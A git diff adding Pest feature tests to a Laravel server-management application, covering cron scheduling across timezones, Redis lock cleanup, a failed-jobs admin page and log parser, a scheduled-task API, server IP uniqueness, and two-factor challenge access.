— should be due + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // No dedup key → simple isDue check + $result = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result)->toBeTrue(); + + // At 02:01 without dedup key → isDue returns false + Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC')); + $executionTimeProp->setValue($job, Carbon::now()); + + $result2 = $method->invoke($job, '0 2 * * *', 'UTC'); + expect($result2)->toBeFalse(); +}); + +it('respects server timezone for cron evaluation', function () { + // UTC time is 22:00 Feb 28, which is 06:00 Mar 1 in Asia/Singapore (+8) + Carbon::setTestNow(Carbon::create(2026, 2, 28, 22, 0, 0, 'UTC')); + + $job = new ScheduledJobManager; + $reflection = new ReflectionClass($job); + + $executionTimeProp = $reflection->getProperty('executionTime'); + $executionTimeProp->setAccessible(true); + $executionTimeProp->setValue($job, Carbon::now()); + + $method = $reflection->getMethod('shouldRunNow'); + $method->setAccessible(true); + + // Simulate that today's 06:00 UTC run was already dispatched (at 06:00 UTC) + Cache::put('test-backup:7', Carbon::create(2026, 2, 28, 6, 0, 0, 'UTC')->toIso8601String(), 86400); + + // Cron "0 6 * * *" in Asia/Singapore: local time is 06:00 Mar 1 → previousDue = 06:00 Mar 1 SGT + // That's a NEW cron window (Mar 1) that hasn't been dispatched → should fire + $resultSingapore = $method->invoke($job, '0 6 * * *', 'Asia/Singapore', 'test-backup:6'); + expect($resultSingapore)->toBeTrue(); + + // Cron "0 6 * * *" in UTC: previousDue = 06:00 Feb 28 UTC, already dispatched at 06:00 → should NOT fire + $resultUtc = $method->invoke($job, '0 6 * * *', 'UTC', 'test-backup:7'); + expect($resultUtc)->toBeFalse(); +}); diff --git a/tests/Feature/ScheduledJobManagerStaleLockTest.php b/tests/Feature/ScheduledJobManagerStaleLockTest.php new file mode 100644 index 000000000..e297c07bd --- /dev/null +++ b/tests/Feature/ScheduledJobManagerStaleLockTest.php @@ -0,0 +1,49 @@ +set($lockKey, 'stale-owner'); + + expect($redis->ttl($lockKey))->toBe(-1); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(0); +}); + +it('preserves valid lock with positive TTL', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + $redis = Redis::connection('default'); + $redis->set($lockKey, 'active-owner'); + $redis->expire($lockKey, 60); + + expect($redis->ttl($lockKey))->toBeGreaterThan(0); + + $job = new ScheduledJobManager; + $job->middleware(); + + expect($redis->exists($lockKey))->toBe(1); + + $redis->del($lockKey); +}); + +it('does not fail when no lock exists', function () { + $cachePrefix = config('cache.prefix'); + $lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager'; + + Redis::connection('default')->del($lockKey); + + $job = new ScheduledJobManager; + $middleware = $job->middleware(); + + expect($middleware)->toBeArray()->toHaveCount(1); +}); diff --git a/tests/Feature/ScheduledJobMonitoringTest.php b/tests/Feature/ScheduledJobMonitoringTest.php new file mode 100644 index 000000000..036c3b638 --- /dev/null +++ b/tests/Feature/ScheduledJobMonitoringTest.php @@ -0,0 +1,272 @@ +rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']); + $this->rootUser = User::factory()->create(); + $this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']); + + // Create regular team and user + $this->regularTeam = Team::factory()->create(); + $this->regularUser = User::factory()->create(); + $this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']); +}); + +test('scheduled jobs page requires instance admin access', function () { + $this->actingAs($this->regularUser); + session(['currentTeam' => $this->regularTeam]); + + $response = $this->get(route('settings.scheduled-jobs')); + $response->assertRedirect(route('dashboard')); +}); + +test('scheduled jobs page is accessible by instance admin', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Scheduled Job Issues'); +}); + +test('scheduled jobs page shows failed backup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create(['team_id' => $this->rootTeam->id]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection timeout', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Backup'); +}); + +test('scheduled jobs page shows failed cleanup executions', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $server = Server::factory()->create([ + 'team_id' => $this->rootTeam->id, + ]); + + DockerCleanupExecution::create([ + 'server_id' => $server->id, + 'status' => 'failed', + 'message' => 'Cleanup failed: disk full', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('Cleanup'); +}); + +test('filter by type works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterType', 'backup') + ->assertStatus(200) + ->set('filterType', 'cleanup') + ->assertStatus(200) + ->set('filterType', 'task') + ->assertStatus(200); +}); + +test('only failed executions are shown', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $backup = ScheduledDatabaseBackup::create([ + 'team_id' => $this->rootTeam->id, + 'frequency' => '0 * * * *', + 'database_id' => 1, + 'database_type' => 'App\Models\StandalonePostgresql', + 'enabled' => true, + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'success', + 'message' => 'Backup completed successfully', + ]); + + ScheduledDatabaseBackupExecution::create([ + 'scheduled_database_backup_id' => $backup->id, + 'status' => 'failed', + 'message' => 'Backup failed: connection refused', + ]); + + Livewire::test(ScheduledJobs::class) + ->assertSee('Backup failed: connection refused') + ->assertDontSee('Backup completed successfully'); +}); + +test('filter by date range works', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + Livewire::test(ScheduledJobs::class) + ->set('filterDate', 'last_7d') + ->assertStatus(200) + ->set('filterDate', 'last_30d') + ->assertStatus(200) + ->set('filterDate', 'all') + ->assertStatus(200); +}); + +test('scheduler log parser returns empty collection when no logs exist', function () { + $parser = new SchedulerLogParser; + + $skips = $parser->getRecentSkips(); + expect($skips)->toBeEmpty(); + + $runs = $parser->getRecentRuns(); + expect($runs)->toBeEmpty(); +})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests'); + +test('scheduler log parser parses skip entries correctly', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}'; + file_put_contents($logPath, $logLine."\n"); + + $parser = new SchedulerLogParser; + $skips = $parser->getRecentSkips(); + + expect($skips)->toHaveCount(1); + expect($skips->first()['type'])->toBe('backup'); + expect($skips->first()['reason'])->toBe('server_not_functional'); + expect($skips->first()['team_id'])->toBe(5); + + // Cleanup + @unlink($logPath); +}); + +test('scheduler log parser excludes started events from runs', function () { + $logPath = storage_path('logs/scheduled-test-started-filter.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager started {}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: ScheduledJobManager completed {"duration_ms":74,"dispatched":1,"skipped":13}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + $runs = $parser->getRecentRuns(); + + expect($runs)->toHaveCount(1); + expect($runs->first()['message'])->toContain('completed'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); + +test('scheduler log parser filters by team id', function () { + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}', + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + $parser = new SchedulerLogParser; + + $allSkips = $parser->getRecentSkips(100); + expect($allSkips)->toHaveCount(2); + + $team1Skips = $parser->getRecentSkips(100, 1); + expect($team1Skips)->toHaveCount(1); + expect($team1Skips->first()['team_id'])->toBe(1); + + // Cleanup + @unlink($logPath); +}); + +test('skipped jobs show fallback when resource is deleted', function () { + $this->actingAs($this->rootUser); + session(['currentTeam' => $this->rootTeam]); + + $logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log'); + $logDir = dirname($logPath); + if (! is_dir($logDir)) { + mkdir($logDir, 0755, true); + } + + // Temporarily rename existing logs so they don't interfere + $existingLogs = glob(storage_path('logs/scheduled-*.log')); + $renamed = []; + foreach ($existingLogs as $log) { + $tmp = $log.'.bak'; + rename($log, $tmp); + $renamed[$tmp] = $log; + } + + $lines = [ + '['.now()->format('Y-m-d H:i:s').'] production.INFO: Task skipped {"type":"task","skip_reason":"application_not_running","task_id":99999,"task_name":"my-cron-job","team_id":0}', + ]; + file_put_contents($logPath, implode("\n", $lines)."\n"); + + Livewire::test(ScheduledJobs::class) + ->assertStatus(200) + ->assertSee('my-cron-job') + ->assertSee('Application not running'); + + // Cleanup + @unlink($logPath); + foreach ($renamed as $tmp => $original) { + rename($tmp, $original); + } +}); diff --git a/tests/Feature/ScheduledTaskApiTest.php b/tests/Feature/ScheduledTaskApiTest.php new file mode 100644 index 000000000..fbd6e383e --- /dev/null +++ b/tests/Feature/ScheduledTaskApiTest.php @@ -0,0 +1,365 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function authHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('returns empty array when no tasks exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJson([]); + }); + + test('returns tasks when they exist', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Test Task', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Test Task']); + }); + + test('returns 404 for unknown application uuid', function () { + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson('/api/v1/applications/nonexistent-uuid/scheduled-tasks'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/applications/{uuid}/scheduled-tasks', function () { + test('creates a task with valid data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Backup']); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Backup', + 'command' => 'php artisan backup', + 'frequency' => '0 0 * * *', + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + }); + + test('returns 422 when name is missing', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(422); + }); + + test('returns 422 for invalid cron expression', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => 'not-a-cron', + ]); + + $response->assertStatus(422); + $response->assertJsonPath('errors.frequency.0', 'Invalid cron expression or frequency format.'); + }); + + test('returns 422 when extra fields are present', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + 'unknown_field' => 'value', + ]); + + $response->assertStatus(422); + }); + + test('defaults timeout and enabled when not provided', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/applications/{$application->uuid}/scheduled-tasks", [ + 'name' => 'Test', + 'command' => 'echo test', + 'frequency' => '* * * * *', + ]); + + $response->assertStatus(201); + + $this->assertDatabaseHas('scheduled_tasks', [ + 'name' => 'Test', + 'timeout' => 300, + 'enabled' => true, + ]); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('updates task with partial data', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + 'name' => 'Old Name', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}", [ + 'name' => 'New Name', + ]); + + $response->assertStatus(200); + $response->assertJsonFragment(['name' => 'New Name']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent", [ + 'name' => 'Test', + ]); + + $response->assertStatus(404); + }); +}); + +describe('DELETE /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}', function () { + test('deletes task successfully', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + + $this->assertDatabaseMissing('scheduled_tasks', ['uuid' => $task->uuid]); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent"); + + $response->assertStatus(404); + }); +}); + +describe('GET /api/v1/applications/{uuid}/scheduled-tasks/{task_uuid}/executions', function () { + test('returns executions for a task', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $task = ScheduledTask::factory()->create([ + 'application_id' => $application->id, + 'team_id' => $this->team->id, + ]); + + ScheduledTaskExecution::create([ + 'scheduled_task_id' => $task->id, + 'status' => 'success', + 'message' => 'OK', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/{$task->uuid}/executions"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['status' => 'success']); + }); + + test('returns 404 when task not found', function () { + $application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/applications/{$application->uuid}/scheduled-tasks/nonexistent/executions"); + + $response->assertStatus(404); + }); +}); + +describe('Service scheduled tasks API', function () { + test('can list tasks for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + 'name' => 'Service Task', + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->getJson("/api/v1/services/{$service->uuid}/scheduled-tasks"); + + $response->assertStatus(200); + $response->assertJsonCount(1); + $response->assertJsonFragment(['name' => 'Service Task']); + }); + + test('can create a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->postJson("/api/v1/services/{$service->uuid}/scheduled-tasks", [ + 'name' => 'Service Backup', + 'command' => 'pg_dump', + 'frequency' => '0 2 * * *', + ]); + + $response->assertStatus(201); + $response->assertJsonFragment(['name' => 'Service Backup']); + }); + + test('can delete a task for a service', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $task = ScheduledTask::factory()->create([ + 'service_id' => $service->id, + 'team_id' => $this->team->id, + ]); + + $response = $this->withHeaders(authHeaders($this->bearerToken)) + ->deleteJson("/api/v1/services/{$service->uuid}/scheduled-tasks/{$task->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Scheduled task deleted.']); + }); +}); diff --git a/tests/Feature/ServerIpUniquenessTest.php b/tests/Feature/ServerIpUniquenessTest.php new file mode 100644 index 000000000..705b1eddc --- /dev/null +++ b/tests/Feature/ServerIpUniquenessTest.php @@ -0,0 +1,110 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->privateKey = PrivateKey::create([ + 'name' => 'Test Key', + 'private_key' => 'test-key-content', + 'team_id' => $this->team->id, + ]); +}); + +it('detects duplicate ip within the same team', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->toBe($this->team->id); +}); + +it('detects duplicate ip from another team', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + + expect($foundServer)->not->toBeNull(); + expect($foundServer->team_id)->not->toBe($this->team->id); +}); + +it('shows correct error message for same team duplicate in boarding', function () { + Server::factory()->create([ + 'ip' => '1.2.3.4', + 'team_id' => $this->team->id, + 'private_key_id' => $this->privateKey->id, + ]); + + $foundServer = Server::whereIp('1.2.3.4')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain already exists in your team.'); +}); + +it('shows correct error message for other team duplicate in boarding', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '5.6.7.8', + 'team_id' => $otherTeam->id, + ]); + + $foundServer = Server::whereIp('5.6.7.8')->first(); + if ($foundServer->team_id === currentTeam()->id) { + $message = 'A server with this IP/Domain already exists in your team.'; + } else { + $message = 'A server with this IP/Domain is already in use by another team.'; + } + + expect($message)->toBe('A server with this IP/Domain is already in use by another team.'); +}); + +it('allows adding ip that does not exist globally', function () { + $foundServer = Server::whereIp('10.20.30.40')->first(); + + expect($foundServer)->toBeNull(); +}); + +it('enforces global uniqueness not just team-scoped', function () { + $otherTeam = Team::factory()->create(); + + Server::factory()->create([ + 'ip' => '9.8.7.6', + 'team_id' => $otherTeam->id, + ]); + + // Global check finds the server even though it belongs to another team + $foundServer = Server::whereIp('9.8.7.6')->first(); + expect($foundServer)->not->toBeNull(); + + // Team-scoped check would miss it - this is why global check is needed + $teamScopedServer = Server::where('team_id', $this->team->id) + ->where('ip', '9.8.7.6') + ->first(); + expect($teamScopedServer)->toBeNull(); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php new file mode 100644 index 000000000..97bb0fd2a --- /dev/null +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -0,0 +1,77 @@ +create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceDatabase = ServiceDatabase::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-db', + 'service_id' => $service->id, + ]); + + expect($serviceDatabase->team())->not->toBeNull() + ->and($serviceDatabase->team()->id)->toBe($team->id); +}); + +it('returns the correct team for ServiceApplication through the service relationship chain', function () { + $team = Team::factory()->create(); + + $project = Project::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'Test Project', + 'team_id' => $team->id, + ]); + + $environment = Environment::create([ + 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + 'project_id' => $project->id, + ]); + + $service = Service::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase', + 'environment_id' => $environment->id, + 'destination_id' => 1, + 'destination_type' => 'App\Models\StandaloneDocker', + 'docker_compose_raw' => 'version: "3"', + ]); + + $serviceApplication = ServiceApplication::create([ + 'uuid' => (string) Illuminate\Support\Str::uuid(), + 'name' => 'supabase-studio', + 'service_id' => $service->id, + ]); + + expect($serviceApplication->team())->not->toBeNull() + ->and($serviceApplication->team()->id)->toBe($team->id); +}); diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php new file mode 100644 index 000000000..c62569866 --- /dev/null +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -0,0 +1,45 @@ +create(); + + $database = StandalonePostgresql::factory()->create([ + 'team_id' => $team->id, + 'is_public' => true, + 'public_port' => 5432, + ]); + + expect($database->is_public)->toBeTrue(); + + $action = new StartDatabaseProxy; + + // Use reflection to test the private method directly + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue(); + expect($method->invoke($action, 'address already in use'))->toBeTrue(); + expect($method->invoke($action, 'some other error'))->toBeFalse(); +}); + +test('isNonTransientError detects port conflict patterns', function () { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'isNonTransientError'); + + expect($method->invoke($action, 'Bind for 0.0.0.0:5432 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'address already in use'))->toBeTrue() + ->and($method->invoke($action, 'Bind for 0.0.0.0:3306 failed: port is already allocated'))->toBeTrue() + ->and($method->invoke($action, 'network timeout'))->toBeFalse() + ->and($method->invoke($action, 'connection refused'))->toBeFalse(); +}); diff --git a/tests/Feature/TeamNotificationCheckTest.php b/tests/Feature/TeamNotificationCheckTest.php new file mode 100644 index 000000000..2a39b020e --- /dev/null +++ b/tests/Feature/TeamNotificationCheckTest.php @@ -0,0 +1,52 @@ +team = Team::factory()->create(); +}); + +describe('isAnyNotificationEnabled', function () { + test('returns false when no notifications are enabled', function () { + expect($this->team->isAnyNotificationEnabled())->toBeFalse(); + }); + + test('returns true when email notifications are enabled', function () { + $this->team->emailNotificationSettings->update(['smtp_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when discord notifications are enabled', function () { + $this->team->discordNotificationSettings->update(['discord_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when slack notifications are enabled', function () { + $this->team->slackNotificationSettings->update(['slack_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when telegram notifications are enabled', function () { + $this->team->telegramNotificationSettings->update(['telegram_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when pushover notifications are enabled', function () { + $this->team->pushoverNotificationSettings->update(['pushover_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); + + test('returns true when webhook notifications are enabled', function () { + $this->team->webhookNotificationSettings->update(['webhook_enabled' => true]); + + expect($this->team->isAnyNotificationEnabled())->toBeTrue(); + }); +}); diff --git a/tests/Feature/TwoFactorChallengeAccessTest.php b/tests/Feature/TwoFactorChallengeAccessTest.php new file mode 100644 index 000000000..2bd58d197 --- /dev/null +++ b/tests/Feature/TwoFactorChallengeAccessTest.php @@ -0,0 +1,65 @@ +user = User::factory()->create(); + $this->team = Team::factory()->personal()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); +}); + +it('allows unauthenticated access to two-factor-challenge page', function () { + $response = $this->get('/two-factor-challenge'); + + // Fortify returns a redirect to /login if there's no login.id in session, + // but the important thing is it does NOT return a 419 or 500 + expect($response->status())->toBeIn([200, 302]); +}); + +it('includes two-factor-challenge in allowed paths for unsubscribed accounts', function () { + $paths = allowedPathsForUnsubscribedAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('includes two-factor-challenge in allowed paths for invalid accounts', function () { + $paths = allowedPathsForInvalidAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('includes two-factor-challenge in allowed paths for boarding accounts', function () { + $paths = allowedPathsForBoardingAccounts(); + + expect($paths)->toContain('two-factor-challenge'); +}); + +it('does not redirect authenticated user with force_password_reset from two-factor-challenge', function () { + $this->user->update(['force_password_reset' => true]); + + $response = $this->actingAs($this->user)->get('/two-factor-challenge'); + + // Should NOT redirect to force-password-reset page + if ($response->isRedirect()) { + expect($response->headers->get('Location'))->not->toContain('force-password-reset'); + } +}); + +it('renders 419 error page with login link instead of previous url', function () { + $response = $this->get('/two-factor-challenge', [ + 'X-CSRF-TOKEN' => 'invalid-token', + ]); + + // The 419 page should exist and contain a link to /login + $view = view('errors.419')->render(); + + expect($view)->toContain('/login'); + expect($view)->toContain('Back to Login'); + expect($view)->toContain('This page is definitely old, not like you!'); + expect($view)->not->toContain('url()->previous()'); +}); diff --git a/tests/Pest.php b/tests/Pest.php index 619dea153..cec77b86f 100644 --- a/tests/Pest.php +++ b/tests/Pest.php @@ -13,7 +13,7 @@ | need to change it using the "uses()" function to bind a different classes or traits. | */ -uses(Tests\TestCase::class)->in('Feature'); 